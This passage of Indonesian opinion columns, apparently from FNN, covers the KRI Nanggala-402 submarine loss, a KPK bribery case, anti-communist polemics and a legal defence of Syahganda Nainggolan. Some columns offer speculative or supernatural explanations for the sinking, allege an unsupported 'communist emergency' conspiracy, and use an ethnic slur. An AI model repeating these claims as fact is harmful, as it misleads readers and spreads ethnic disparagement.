debitnya mencapai 3 juta m3 per detik. Kontur irregular dasar laut di sekitar selat ini ternyata menghasilkan pola aliran arus ekstrim (gelombang di dalam laut) yang berbahaya bagi kapal selam. Nanggala-402 itu dirancang hanya untuk kedalaman 250 m dan kecepatan 25 knots. Mungkin Nanggala-402 telah dipaksa arus ekstrim ini menyelam lebih dalam dari itu, sehingga terjadi kebocoran yang gagal diatasi dengan segera naik ke permukaan. Upaya dengan memompa keluar air laut dari tanki-tangki balastnya itu gagal. Karena sistem penggeraknya yang bukan nuklir, tapi diesel elektrik yang sudah cukup tua mungkin tidak memadai untuk menghadapi arus ekstrim ini. Sementara persediaan oksigen dalam kapal selam terus menipis. Pasokan oksigen diperlukan baik untuk awak kapalnya maupun mesin dieselnya. Mungkinkah adanya adanya tarikan magnet yang kuat di bawah laut di jalur yang dilintasi Nanggala-402 menjadi penyebab matinya sistem kelistrikan. Sistem kelistrikan mati karena adanya medan magnet yang kuat di bawah laut antara Pulau Bali dan Pulau Kangean. “Kalau benar pasti berpengaruh pada sistem elektronika, telkom, dan navigasinya,” ungkap Prof. Daniel. Jadi, bukan tidak mungkin, medan magnet bawah laut ini bisa jadi penyebab matinya sistem kelistrikan Nanggala 402. Tapi, lanjutnya, yang lebih masuk akal adalah tarikan arus laut Arlindo yang melewati selat Lombok yang sangat kuat, ditambah gelombang bawah laut akibat interaksi Arlindo dengan irregularities pada dasar lautnya. Kabar terakhir, sejumlah barang dan kepingan komponen diduga berasal dari KRI Nanggala-402 ditemukan. Pada konferensi pers di Bali KSAL Laksamana Yudo Margono menyebut diduga, “Terjadi keretakan, bukan ledakan,” yang sebabkan kepingan komponen dan barang tersebut terangkat keluar kapal. Dalam konferensi pers itu, KSAL menunjukkan beberapa temuan tersebut termasuk pelurus tabung torpedo, pembungkus pipa pendingin, pelumas periskope, dan alas sholat para ABK. *** Penulis wartawan senior FNN.co.id

KRI Nanggala: Tumbal Laut Selatan?

By Daniel Mohammad Rosyid Surabaya, FNN - Pagi ini kakak perempuan saya menanyakan apa yang sesungguhnya terjadi pada KRI 402 Nanggala milik TNI AL buatan Jerman yang hilang kontak beberapa hari lalu di sekitar Selat Lombok. Paling tidak ada dua penjelasan. Pertama, technical error karena sudah tua (umur 40 tahun padahal design service life nya 20-25 tahun). Tahun 2012 sudah diretrovit dan overhaul total di Korea Selatan. Hingga hari ini Nanggala belum ditemukan. Mestinya overhaul total ini dilakukan setiap 5 tahun. Tampaknya karena beberapa sebab, ini tidak atau belum dilakukan. Hanya dilakukan partial overhaul. Naasnya, hari itu KRI Nanggala beroperasi melalui sebuah perairan yang rawan di sekitar selat Lombok. Ada arus laut yg sangat kuat dari Samudra Pasifik Utara ke Laut Selatan yang melewati Selat Makasar lalu Selat Lombok. Di selat Lombok dengan kedalaman 300m dan lebar 35km debitnya mencapai 3 juta meter kubik perdetik. Kontur irregular dasar laut di sekitar selat ini ternyata menghasilkan pola aliran arus ekstrim (gelombang di dalam laut) yang berbahaya bagi kapal selam. Nanggala dirancang hanya untuk kedalaman 250 m dan kecepatan 25 knots. Mungkin Nanggala telah dipaksa arus ekstrim ini menyelam lebih dalam dari itu sehingga terjadi kebocoran yg gagal diatasi dengan segera naik ke permukaan dengan memompa keluar air laut dari tanki tanki balastnya. Sistem penggeraknya yang bukan nuklir, tapi diesel elektrik yang sudah cukup tua mungkin tidak memadai untuk menghadapi arus ekstrim ini sementara persediaan oksigen dalam kapal selam terus menipis. Pasokan oksigen diperlukan baik untuk awak kapalnya maupun mesin dieselnya. Kedua, 53 awak kapal KRI Nanggala memang sengaja dijadikan tumbal oleh pihak tertentu bagi raja jin Laut Selatan. Seiring dengan berbagai rangkaian gempa dan topan Seroja di Pulau Jawa hingga Timor sebagai bagian dari _rings of fire_, banyak info yang beredar bahwa akhir-akhir ini banyak siluman yang bergentayangan lepas dari kurungannya dari pedalaman laut Selatan sejak zaman Nabi Sulaiman. Jika ilmu adalah seni menjelaskan kejadian, maka penjelasan metafisik ini juga seni semacam itu. Boleh percaya boleh tidak. Para pemuja iblis sering bekerja sebagai _shadow_ kekuasaan dengan sesekali menyediakan tumbal bagi ambisinya untuk berkuasa. Apapun penjelasannya, kita tetap menuntut pertanggungjawaban pemerintah sebagai operator Republik ini. Sudah lama diingatkan bahwa negeri kepulauan di lokasi Nusantara yang sangat strategis ini mensyaratkan kemampuan maritim kelas dunia untuk berjaya. Namun peringatan ini tidak cukup diindahkan oleh pemerintah. Obsesi pertumbuhan tinggi secara langsung telah menelantarkan pemerataan yang mensyaratkan sektor kemaritiman yang memadai baik untuk agenda kesejahteraan maupun keamanan dan pertahanan bagi negeri seluas Eropa ini. Banyak maladministrasi publik yang menyuburkan praktek korupsi telah mendorong banyak misalokasi anggaran yang serius sehingga sektor prioritas seperti kemaritiman sebagai instrumen pemerataan menjadi terbengkalai. Seiring dengan peminggiran Tuhan akhir-akhir ini oleh kaum sekuler kiri radikal, ruang-ruang kehidupan di Nusantara ini makin dipenuhi oleh para hantu yang semakin bebas bergentayangan. Kita berdoa dan segera bertobat agar Allah swt Tuhan Yang Maha Esa sudi kembali ke negeri ini sehingga kita tidak perlu menyediakan berbagai tumbal lagi. Mungkin dengan berpuasa, hantu-hantu ini bertobat. Rosyid College of Arts and Maritime Studies, Gunung Anyar, Surabaya, 24/4/2021.

Azis Syamsuddin Sudah Lama Jadi Target Operasi KPK

POSISI Wakil Ketua DPR RI Azis Syamsuddin (Az) seperti diujung tanduk, karena namanya disebut-sebut terlibat aktif dalam upaya memperkenalkan penyidik Komisi Pemberantasan Korupsi (KPK) Stepanus Robin Pattuju (SRP) dengan Wali Kota Tanjungbalai M. Syahrial (MS). Kasus yang menimpa M. Syahrial memang sudah lama berproses, ia diduga mencari perlindungan dari orang dalam KPK agar kasus hukumnya dibebaskan. Lewat Azislah, M. Syahrial mengenal Stepanus. Tatkala M. Syahrial terkena Operasi Tangkap Tangan (OTT), rangkaian cerita ini pun terungkap. Jauh sebelum penangkapan Wali Kota Tanjungbalai, sempat merebak kabar akan ada petinggi partai koalisi yang akan ditangkap KPK. Kabar itu begitu kuat, sehingga Ketua Umum Partai Golkar Airlangga Hartarto dan Ketua Umum Partai Nasdem melakukan pertemuan khusus di lapangan golf, salah satu agenda utamanya adalah mengantisipasi penangkapan dimaksud. Kini semua benang merah itu mulai terungkap, memang belum ada penangkapan terhadap Azis Syamsuddin, namun pernyataan Ketua KPK Firli Bahuri bahwa peran Azis sangat kuat dalam memperkenalkan M. Syahrial dan Stepanus menjadi kunci peningkatan status Azis di kemudian hari. Peran Aziz itu terungkap dalam konstruksi perkara dugaan penerimaan hadiah atau janji oleh penyelenggara negara perkara Wali Kota Tanjungbalai. Pada Oktober 2020, Azis mempertemukan kedua tersangka. "Pada Oktober 2020, SRP melakukan pertemuan dengan MS di rumah dinas AZ, Wakil Ketua DPR di Jakarta Selatan," kata Firli di gedung Merah Putih KPK, Jakarta Selatan, Kamis (22/4). Azis kala itu memperkenalkan Stepanus dengan M. Syahrial. Azis juga meminta Stepanus membantu M. Syahrial. "Dalam pertemuan tersebut, AZ memperkenalkan SRP dengan MS terkait penyelidikan dugaan korupsi di pemerintahan Kota Tanjungbalai yang sedang dilakukan KPK agar tidak naik ke tahap penyidikan dan meminta agar SRP dapat membantu supaya permasalahan penyelidikan tersebut tidak ditindaklanjuti oleh KPK," tutur Firli. Menindaklanjuti pertemuan itu, kedua tersangka kemudian membuat kesepakatan. Guna menghentikan penyelidikan dugaan kasus korupsi di Tanjungbalai, M. Syahrial menyiapkan uang Rp1,5 miliar untuk Stepanus. "Menindaklanjuti pertemuan di rumah AZ, kemudian SRP diperkenalkan kepada MS untuk bisa membantu permasalahannya. SRP bersama MH sepakat untuk membuat komitmen dengan MS terkait penyelidikan dugaan tindak pidana korupsi di Pemkot Tanjungbalai untuk tidak ditindaklanjuti oleh KPK dengan menyiapkan uang sebesar Rp1,5 miliar," kata Firli. Menanggapi itu, Azis Syamsuddin pun buka suara. Azis menjawab singkat terkait dugaan terlibat memperkenalkan Wali Kota Tanjungbalai MS dan penyidik KPK SRP. "Bismillah, Al-Fatihah," kata Azis Syamsuddin. Jawaban singkat Azis ini penuh makna, selain mencoba mendapat perlindungan Allah SWT, juga berharap kasusnya tidak larut terlalu jauh. Tentu saja jika informasi Ketua KPK ini benar, Azis patut diduga terlibat dalam upaya membebaskan M. Syahrial dari jerat hukum KPK. Namun perannya terhambat karena KPK kadung melakukan OTT terhadap sang Wali Kota. Itu sebabnya perilaku Azis ini sangat disayangkan karena bisa menjeratnya sebagai pihak yang turut serta dalam upaya membebaskan sang pelaku korupsi. Peneliti Divisi Hukum Indonesia Corruption Watch (ICW) Kurnia Ramadhana berpendapat Azis patut diduga melanggar kode etik DPR. Karena peran Azis adalah meminta agar penyidik KPK SRP dapat membantu supaya penyelidikan kasus korupsi M. Syahrial tidak ditindaklanjuti KPK. Tak hanya itu, Azis, dari siaran pers Ketua KPK, juga diduga terlibat memperkenalkan penyidik Robin dengan Syahrial. Atas dasar itulah, Kurnia menilai yang dilakukan Azis terebut bertentangan dengan nilai etika publik. "Tindakan Azis Syamsuddin bertentangan dengan nilai-nilai etika publik. Sebagai pejabat publik, Azis berperilaku dengan tidak patut," demikian Kurnia. Kemudian Azis juga disebut melanggar kode etik sebagai anggota DPR RI. Karena itulah, Kurnia mendesak agar Mahkamah Kehormatan Dewan DPR RI memproses etik Azis Syamsuddin terkait kasus ini. "Oleh karena itu Azis perlu diproses secara etik oleh Mahkamah Kehormatan Dewan. Dugaan tindakan yang dilakukan oleh Azis berpotensi bertentangan dengan berbagai ketentuan yang tercantum dalam Kode Etik DPR RI," ujarnya. Akankah karir politik Azis Syamsuddin berhenti sampai di sini? Atau ada serial saling buka truf berlanjut? Kita tunggu saja rangkaian cerita selanjutnya.

Ingat, Di Mana Pun Juga Partai Komunis Pasti Sadis

By Asyari Usman Medan, FNN - Hilmar Farid (HF), yang saat ini duduk sebagai Dirjen Kebudayaan Kemendikbud, menggambarkan (2011) bahwa PKI (Partai Komunis Indonesia) adalah korban rekayasa. Bukan dia saja yang mengatakan begitu. Banyak lagi simpatisan PKI yang mencoba membingkai (mem-framing) argumentasi bahwa peristiwa kejam 30 September 1965 adalah rekayasa. Framing itu dibuat begitu rupa seolah orang-orang PKI bukan manusia sadis, bukan orang kejam. Bahwa para anggota PKI, menurut HF, tidak melakukan penyiksaan sadis terhadap para jenderal AD dalam penculikan dinihari 1 Oktober 1965 itu. Inilah yang sekarang sedang dipropagandakan oleh kelompok pro-komunis di Indonesia. Inilah yang persis dilakukan Hilmar semasa dia belum menjadi Dirjen. Dan inilah yang terus dia lakukan dalam bentuk lain ketika duduk sebagai Dirjenbud sejak 2015. Rakyat Indonesia, terutama kaum muslimin, harus kritis jika menerima propaganda ini. Kaum muslimin harus bekerja keras untuk menceritakan kepada anak-cucu tentang kesadisan dan kebrutalan PKI. Mengapa kerja keras? Karena sekarang ini ada indikasi bahwa sebagian generasi muda tak percaya PKI melakukan kekejaman yang sangat brutal. Kita tidak punya banyak waktu. Sisa-sisa PKI dan simpatisan mereka seperti HF bekerja keras untuk menyusupkan materi pendidikan menengah dan tinggi yang menjelaskan dengan halus bahwa PKI atau bentuk komunisme lainnya bukan sesuatu yang harus dimusuhi. Harap diingat, partai komunis di mana pun juga pasti mengandalkan kesadisan, kekejaman, dan kebrutalan untuk merebut kekuasaan. Ini sudah terjadi di RRC, Kamboja, Vietnam, India, sejumlah negara Afrika, dsb. Di India, sebagai contoh terkini, kesadisan CPI-M (Communist Party India-Maoist atau Partai Komunis India-Maois) berlangsung di 171 kabupaten (distrik) di 13 provinsi (negara bagian). Dan ini belum lama berlalu. Ini bukan cerita 50 tahun atau 30 tahun lalu. Kesadisan CPM itu berlangsung antara 2010 hingga 2017. Sekitar 2,500 warga sipil dan 930 petugas keamanan (polisi dan tentara) dibunuh oleh kaum Komunis-Maois (sumber majalah online India, “Outlook”, edisi 5 Oktober 2017). Di dalam sejarah internasional, komunis-Maois (China) memang terkenal dengan kesadisannya. Di India, PM Manmohan Singh mengatakan CPI-M adalah ancaman keamanan internal terbesar bagi India. Pada 2009, pemerintah India menyatakan CPI-M sebagai organisasi teroris. India adalah negara yang sangat demokratis. Gerakan komunis sudah berusia 100 tahun. Tidak dilarang. Fakta bahwa pemerintah harus mendeklarasikan CPI-M sebagai teroris, menunjukkan bahwa kesadisan dan kebrutalan mereka sudah melampaui batas. Dan memang begitu adanya. Mereka melakukan penculikan dan pembunuhan semena-mena. Kesadisan CPI-M yang paling spektakuler di India terjadi di Negara Bagian Benggala Barat (West Bengal). Di provinsi ini, CPI-M yang berkuasa. Sepanjang 30 tahun kekuasaan mereka di negara bagian ini, tindak kekerasan adalah cara yang selalu mereka kedepankan. Oposisi tidak boleh muncul. Padahal, CPI-M itu sendiri lahir berkat sistem demokrasi murni yang dianut India. Di West Bengal ini, CPM-I “pintar” berwajah dua. Di satu pihak, mereka membuat jaringan intelektual (cendekiawan) partai sebagai pajangan untuk mengelabui kesadisan dan kebrutalan. Tetapi, di belakang layar Partai Komunis di sini menggunakan pembunuhan sebagai instumen politik. Mereka lakukan itu dengan sangat rapi, seolah bukan pekerjaan mereka. Yang selalu menjadi sasaran tindak kekerasan CPI-M adalah rakyat kecil, nelayan, petani, pedagang asongan, dll, yang mereka paksa menjadi anggota partai. Intinya, kaum komunis akan selalu kejam. Komunis-Maois di tempat lain juga sama. Pol Pot membunuh hampir 2 juta rakyat Kamboja antara April 1975 sampai Januari 1979. Hampir seperempat dari 7.8 juta rakyat negara itu dibunuh oleh Khmer Merah yang dipimpin Pol Pot. Dia memaksa Kamboja menjadi komunis. Di tanah asalnya sendiri yaitu RRC, Mao Tse Tung (yang kemudian memunculkan sebutan “Maois”) juga merebut kekuasaan lewat Revolusi Kebudayaan (1966-1976) yang bercirikan kekerasan. Maois melancarkan gerakan menghabisi kelas menengah dan simbol-simbol kekayaan.[] (Penulis wartawan senior FNN.co.id)

Paul Zhang Dan Indonesia Darurat Komunis

by M. Rizal Fadillah Bandung FNN - Semua mengecam Joseph Paul Zhang, pendeta, pendukung Partai Komunis Indonesia (PKI), penista Nabi. Meski kesehatan fikirannya diragukan karena mengaku sebagai Nabi ke 26, namun pandangan ngawurnya mengguncang negeri. Berkoar dari luar negeri, tak kurang Menag menjadi sasaran dan mendesak Zhang untuk segera ditangkap. Konon sedang diburu interpol. Perasaan umat Islam di Indonesia ini terus sedang diacak-acak. Penistaan agama hanya salah satu sisi saja. Ada kriminalisasi, radikalisme, dan terorisme. Peran agama dalam berbangsa dan bernegara yang dikecilkan atau dimarginalkan. Zhang hanya model gerakan yang sama dengan Janda, Densi, Laiskodat, Armando atau teman teman lainnya. Artinya Jozeph Paul Zhang tidak berdiri sendiri. Orang ini dapat untuk dimunculkan kapan saja. Tokoh JPZ bukan baru. Rekam jejaknya telah muncul sebelumnya. Meski telah ke luar dari Indonesia sejak tahun 2018, dan katanya telah melepas status WNI-nya, akan tetapi semua haruslah dibuktikan. Kepolisian dituntut untuk mampu menangkap dan mendeportasi segera ke Indonesia. Seperti biasa urusan seperti ini tak mungkin muncul suara Presiden Jokowi. Mungkin terlalu kecil. Urusan Pancasila dan Bahasa Indonesia saja kecil kok. Apalagi agama yang dinista-nistakan. Yang harus dibesarkan adalah Gibran dan tetap tersanderanya para anggota Koalisi. Urusan tiga periode juga tak kalah penting. Soal Zhang "bukan urusan saya". Zhang itu hanya wayang? Semua serba mungkin. Zhang kini melayang "tunduk pada hukum Eropa" katanya. Komunitasnya pasti mendukung. Jika wayang ini dimainkan konspirasi global, dengan target Indonesia, khususnya umat Islam, maka diduga ada jaringan di tingkat nasional yang ikut bermain. Karenanya patut dilihat keseriusan penanganan. Sebab jika Zhang lolos, dipastikan ia adalah tabungan atau investasi jangka panjang. Dalang selalu sembunyi dalam memainkan wayang. Wayang golek atau kulit selalu ada jalan ceritanya tentang kapan muncul kapan masuk kotak. Kapan perang kapan bercanda. Semua itu di atur dalang. Tim penabuh gamelan membantu suasana ceritra. Kini lakon Zhang sedang menarik. Isu sensitif penistaan agama oleh pendeta dan pendukung PKI bermata sipit. UU ITE dan KUHP Pasal 156 a layak untuk dikenakan kepadanya. Kunci awalnya adalah deportasi dahulu Zhang. Baru setelah itu proses sang wayang. Buktikan kalau Zhang tak kebal. Berikutnya semoga muncul dalang. Bila tidak, ya kasus ini dipastikan menjadi hilang dalam bayang bayang yang ditelan isu lain. Kegaduhan demi kegaduhan hanya datang dan pergi. Dalang memang piawai memainkan irama. Diam Hadapi Komunis mungkin sebagian orang menganggap berlebihan. Bukankah Ketetapan MPRS Nomor XXV/MPRS/1966 yang melarang PKI dan Komunisme masih berlaku? Demikian juga UU No. 27 tahun 1999 yang melarang dan mengancam pidana penyebar Komunisme dan penggantian ideologi Pancasila. Masalah yang dihadapi bukanlah ketentuan perundang-undangan. Tetapi permainan politik yang bergerak di sela-sela peraturan perundang-undangan. Tidak eksplisit berbenturan, tetapi ada agenda yang mengindikasi bahwa komunisme itu bukan hanya ada tetapi juga berkembang. Kehadiran petinggi Partai Komunis Cina yang "bersilaturahmi" dengan pimpinan partai politik di Indonesia seperti PDIP dan terakhir Dubes Xiao Qian ke PKB, ternyata direspons konstruktif. Jalinan kerjasama sepertinya terus dibangun. Dalam mengisi sejarah, ternyata PKC di rezim ini sukses bertandang ke istana Merdeka. Peta jalan (road map) pendidikan nasional menghilangkan agama, Peraturan Pemerintah Nomor 57 tahun 2021 tentang Standar Nasional Pendidikan menghilangkan Pancasila dan Bahasa Indonesia. Muncul penista agama seperti Zhang yang ternyata pendukung PKI. Pelantikan Dirjen kebudayaan Kemendikbud Hilmar Farid ternyata aktivis PRD. Tentu semua ini bukan kebetulan. Apalagi sebelumnya disiapkan intens RUU HIP yang berbau kiri/komunis. Megawati dan Mendikbud Nadiem membahas pelurusan sejarah 1965. Entah apa yang hendak diluruskan? Faktanya PKI melakukan percobaan kudeta berulang kali dan hendak mengganti Pancasila. Sejarah kejahatan PKI tidak mungkin diluruskan. Memang kenyataannya bengkok dan merongrong ideologi bangsa dan negara. Kini aneh, Kamus Sejarah Indonesia membuang tokoh pendiri NU, tokoh HMI dan justru mengangkat tokoh PKI/Komunis. Indonesia memasuki darurat komunis. Pantas untuk disematkan dan diwaspadai. Sayang Presiden Jokowi tidak jelas sikap politiknya yang anti PKI/Komunis. Rakyat menunggu sikap tegasnya agar tetap mewaspadai bahaya PKI dan komunisme. Tidak cukup menyatakan bahwa peraturan perundang-undangan yang ada masih melarang penyebaran Komunisme/marxisme. Di situasi pandemi, resesi dan krisis ekonomi, oligarkhi yang menguat, hukum yang diperalat politik, penistaan agama yang marak, budaya menjilat, serta oposisi yang ditekan dan dihabisi, maka menjadi indikasi bahwa PKI bangkit dan komunisme semakin merambah. Kondisi ini tak bisa dianggap biasa. Ada indikasi kuat dari pertumbuhannya. Jalur budaya adalah sarana versus agama. Parlemen jangan hanya memikirkan kekuasaan sendiri. Rakyat sedang terancam. TNI dan umat Islam harus segera melakukan konsolidasi. Indonesia darurat komunis. Penulis adalah Pemerhati Politik dan Kebangsaan.

Tak Ada Alasan Hukum Untuk Menghukum Syahganda

by Dr. Margarito Kamis SH. M.Hum Jarkarta FNN - Perkara Syahganda Nainggolan, segera diputus. Syahganda didakwa Jaksa Penuntut Umum (JPU) “menyebarkan berita bohong yang mengakibatkan terjadi keonaran”. JPU pun telah membacakan tuntutannya, termasuk menyanggah tanggapan Syahganda. Sejauh teridentifikasi melalui berbagai pemberitaan, JPU berpendapat dakwaannya terbukti. Atas dasar penilaian itu, JPU menuntut Syahganda dihukum 6 (enam) tahun. Sekarang perkara ini sepenuhnya berada di tangan hakim-hakim yang menyidangkan, memeriksa dan akan memutusnya. Sulitkah hukum dalam perkara ini? Sama sekali tidak, dengan apapun alasannya. Hukum pada perkara ini begitu sangat mudah. Semudah atlit bernapas. Yang berat adalah lilitan politiknya. Inilah yang memusingkan Jaksa dan hakim. ​Secara teknis, unsur kunci atau yang ahli ilmu hukum pidana sebut “unsur delik” pada perkara ini adalah Pertama “kabar bohong”. Kedua, “onar.” Hanya itu tidak lebih. Apapun ilmu interpretasi yang mau digunakan untuk melebarkan cakupan konsep atau teks atau unsur delik “bohong” dan “onar” dalam perkara ini, tetap tak tersedia jalannya. ​Ilmu interpretasi hukum dimanapun didunia ini memandu setiap aparatur hukum dengan sangat jelas. Tidak ada interpretasi yang tidak diawali dengan interpretasi terhadap teks-kata dan kalimat-dalam pasal. Tidak ada pula ilmu interpretasi di dunia ini yang menyatakan bahwa teks tidak memiliki konteks. Justru sebaliknya setiap teks memiliki konteks. Itu prinsipil dalam ilmu hukum. ​Tidak ada ilmu hukum yang tidak mengajarkan bahwa inti penerapan hukum adalah interpretasi. Tidak ada interpretasi yang tidak bertalian dengan sistem hukum. Sistem hukum melahirkan konsekuensi berupa terdapat level-level rules atau lapisan-lapisan rules. Interpreter, suka atau tidak, harus pergi menggali dan menemukan text representation level dan intention. Itu disebabkan teks tidak pernah tidak merupakan refleksi atau pantulan kehendak pembentuk teks itu. Ilmu hukum mengajarkan dengan jelas, teks tidak selalu atau tak pernah secara alamiah menggambarkan dengan tepat dan jelas maksud pembentuknya. Itu menjadi dasar ilmu hukum memaksa hakim, siapapun mereka, dalam perkara apapun, pergi menyelam, memeriksa setepat mungkin kehendak pembentuk teks itu. Dalam perkara ini, suka atau tidak, soal pertama dan utama yang harus diperiksa adalah teks “bohong” dan “onar.” Kedua hal ini menjadi dua unsur delik kunci. Kamus Besar Bahasa Indonesia (KBBI) Edisi Keempat yang diterbitkan Departemen Pendidikan Nasional tahun 2008 mengartikan kata “bohong” itu. Bohong a 1. tidak sesuai dengan keadaan sebenarnya “dusta”, kabar itu-belaka, 2. Ia berkata-kaya cak bukan yang sebenarnya, palsu (biasanya mengenai permainan) lotre. Membohong, menurut kamus ini, “mengatakan sesuatu yang tidak benar kepada; membohongi-berbohong kepada mendustai kepada. Pembohong, orang yang suka berbohong. Bohong-bohong, bukan sebenarnya. Kebohongan, perihal bohong, sesuatu yang bohong. Bagaimana dengan teks atau unsur delik onar? Menurut KBBI di atas onar 1. huru-hara, gempar, ulahnya menimbulkan, 2. Keributan, kegaduhan, anak-anak itu sering membuat, meng-onarkan-menghuru-harakan, menggemparkan, mengacaukan, tindakan pejabat itu masyarakat. 2 Onar kl n akal busuk, tipu muslihat, pedagang sering melakukan-terhadap pembeli. Apa hal bohong yang Syahganda sebarkan, yang mengakibatkan terjadinya keonaran? Lupakan dulu tabiat hukum pidana pada rumusan pasal 14 ayat (1) UU Nomor 1 Tahun 1946 Tentang Hukum Pidana yang didakwakan kepada Syahganda. Sekali lagi, lupakan dulu itu. Mari kenali hal bohong yang dituduhkan kepada Syahganda. Hal bohong yang dituduhkan kepada Syahganda adalah (i) kutipan Syahganda terhadap isi pidato Pak Jendral (Purn) Gatot Nurmantyo di Karawang. (ii) analisisnya teradap rancangan UU Omnibus Cipta Lapangan Kerja. (iii) dukungan Syahganda dan rekan-rekannya di KMAI yang akan ikut demonstrasi buruh menolak RUU itu. Terakhir adalah analisis Syahganda terhadap pernyataan Profesor Mahfud MD, Menko Polhukam tentang calon kepala daerah yang disinyalir dibiayai para pemilik modal. Ini disebut cukong. Perihal ini juga, kalau tak salah pernah dirilis oleh KPK. Hanya harus diakui jumlah, terdapat perbedaan dalam jumlaah persentasinya. Anggap saja semua hal di atas benar ada dan terbukti dalam sidang. Soal hukumnya apakah perbuatan itu dapat dipersalahkan? Bila ya, bagaimana penalarannya? Penalaranlah yang menjadi hal kunci dalam menentukan kualifikasi atas sifat fakta yang tersaji dalam sidang itu. Ini benar-benar krusial. Hakim mau tidak mau harus memadati interpretasinya dengan pengetahuan yang cukup tentang latar-belakang teks. Dititik ini ketepatan identifikasi atas “kontek teks” yaitu situasi empirik sebagai basis teks, memainkan peran kunci. Ketepatan identifikasi konteks teks situasi empirik menentukan kualifikasi sifat hukum terhadap hal keadaan yang terbukti dalam sidang. Tidak itu saja, pengetahuan hakim tentang ilmu hukum, khususnya ilmu perundangan-undangan turut menentukan. Hakim harus tahu konsekuensi alamiah yang membadakan RUU dan UU. Jangankan RUU yang pasti berubah, bagian-bagian tertentu dalam UU juga bisa berubah, karena dinyatakan inkonstitusional oleh Mahkamah Kantitusi (MK). Praktis begitulah inferensi yang harus ditapaki dalam semua kasus, pada semua peradilan. Diawali dengan mengidentifikasi fakta dalam semua aspeknya. Berikut pertalian antara satu fakta dengan lainnya, yang merupakan ekstraksi atas fakta itu. Itulah proses awalnya. Proses selanjutnya, fakta itu dipertalikan dengan hukum. Dititik inilah proses identiikasi hukum atas fakta itu berawal. Proses ini berakhir dengan lahirnya kongklusi pemberian hukum atas fakta itu. Dititik ini lahir kongklusi apakah tuduhan itu terbukti tidak? Kalau pun terbukti, fase ini juga menentukan apa hal yang terbukti itu benar-benar meyakinkan untuk dikualifikasi sebagai perbuatan melawan hukum pidana atau tidak. Begitulah cara inferensi, baik fakta maupun hukum dalam perkara ini. Logisnya inferensi menjadi kunci logisnya hukum yang disifatkan atas fakta yang tersaji. Untuk selanjutnya ditarik kongklusi, baik perbuatannya maupun hukum astas perbuatan itu. Ini disebut penalaran dedeuktif. Sekarang bagaimana menginferensi kasus ini? Proses inferensi kasus ini, praktis harus dimulai dengan mempertanyakan atau mengidentifikasi keadaan apa dalam RUU? Apakah menurut ilmu hukum, RUU memiliki kualifikasi hukum atau kebahasaan atau leksikal sebagai keadaan sebenarnya? Tidakkah heading RUU, sebagai heading utamanya maupu heading pada setiap Bab, juga materi muatannya potensial berubah dalam pembahasan antara DPR dengan Pemerintah? Disebabkan perubahan pada heading utama, dan heading pada Bab, juga materi muatannya merupakan hal alamiah dalam proses pembentukan UU (proses pembahasan) antara DPR dengan Pemerintah, muncul satu soal prinsipil. Soalnya dengan cara apa dalam ilmu interpretasi yang logis digunakan untuk menyebut hal dalam RUU yang pasti berubah itu sebagai hal tidak berubah alias keadaan sebenarnya? Tidak ada nalarnya sama sekali. Mari beralih pada isu lainnya. Sebut saja Pak Jendral (Purn) Gatot mengutuk dan menolak RUU Omnibus Cipta Kerja” lalu pernyataan itu dikutip oleh Syahganda dan disebarkan. Soal hukumnya adalah inferensi hukum macam apa yang dapat digunakan untuk menghasilkan kongklusi tentang sifat “bohong” pada perbuatan Syahganda itu? Bila pun pernyataan Pak Jendral (Purn) Gatot itu disebarkan, dan itu menyemangati calon demonstran untuk menyelenggarakan berdemonstrasi, maka soal hukumnya adalah bagaimana menginferensinya untuk menghasilkan kongklusi tak meragukan bahwa tindakan Syahgada tidak sesuai dengan keadaan sebenarnya alias bohong? Pasti tak ada nalarnya, suka atau tidak. Disisi lain, andaikan saja Syahganda menyatakan “selamat bergerak” kepada rekan-rekan KAMI-nya, yang akan ikut bergabung dalam demonstrasi buruh, dimana letak “bohongnya” pernyataan Syahganda itu? Demonstrasi itu mau diberi sifat dan kualitas hukum sebagai onar? Boleh saja, tetapi syaratnya harus cabut UU Nomor 9 Tahun 1998 Tentang Kemerdekaan Menyatakan Pendapat di Muka Umum. Sisi eksplosif lainnya dalam kasus ini adalah analisis Syahganda atas pernyataan orang. Sebut saja pernyataan Profesor Mahfud MD, tentang pembiayaan calon kepala daerah oleh cukong. Andaikan angka yang dikutip Syahganda tak sesuai dengan angka yang disebut Pak Mahfud, maka soal hukumnya bagaimana menginferensi fakta itu untuk menghasilkan kongklusi sebagai pernyataan bohong? Menggelikan dan konyol sekali kalau kesalahan atau perbedaan angka yang disebut Syahganda dengan yang disebut Pak Mahfud dijadikan titik tolak kongklusi adanya hal “bohong.” Sebabnya tidak ada peralatan interpretasi yang dapat dipakai untuk membenarkan cukong-cukong sebagai hal hukum sah dalam peristiwa hukum sah. Misalnya pemilihan kepala daerah. Untuk alasan apapun, cukong dalam pilkada, tidak dapat dibenarkan. Konsep cukong, tidak pernah memiliki, jangankan sifat dan kapasitas sah, kesan sah pun tidak dalam kerangka sistem hukum. Sekali lagi tidak. Undang-Undang pilkada hanya mengenal penyumbang kepada calon kepala daerah. Itu sebab utama mengapa “cukong” untuk alasan apapun, buruk dalam seluruh aspeknya. Hal eksplosif lain yang menentukan yang tak dapat diabaikan dalam kasus ini adalah, apa pernyataan-pernyataan Syahganda “mengakibatkan” terjadi keonaran? Demonstrasi mau diberi sifat sebagai hal onar? Jelas tidak. Sebab kalau mau diberi kualifikasi itu, konsekuensi logisnya UU NOMOR 9 TAHUN 1998 TENTANG KEMERDEKAAN MENYAMPAIKAN PENDAPAT DI MUKA UMUM mutlak harus dicabut. Praktis tidak ada penalaran hukum yang bisa digunakan, apapun caranya, menyatakan perbuatan Syahganda melawan hukum pidana, khususnya UU pasal 14 dan 15 UU Nomor 1 Tahun 1946 Tentang Hukum Pidana. Perbuatannya pasti terbukti, tetapi perbuatan itu tidak melawan hukum pidana. Itu sebabnya tidak ada alasan untuk menghukum Syahganda. Penulis adalah Pengajar HTN Universitas Khairun Ternarte.

PKI Sudah Bangkit Lagi

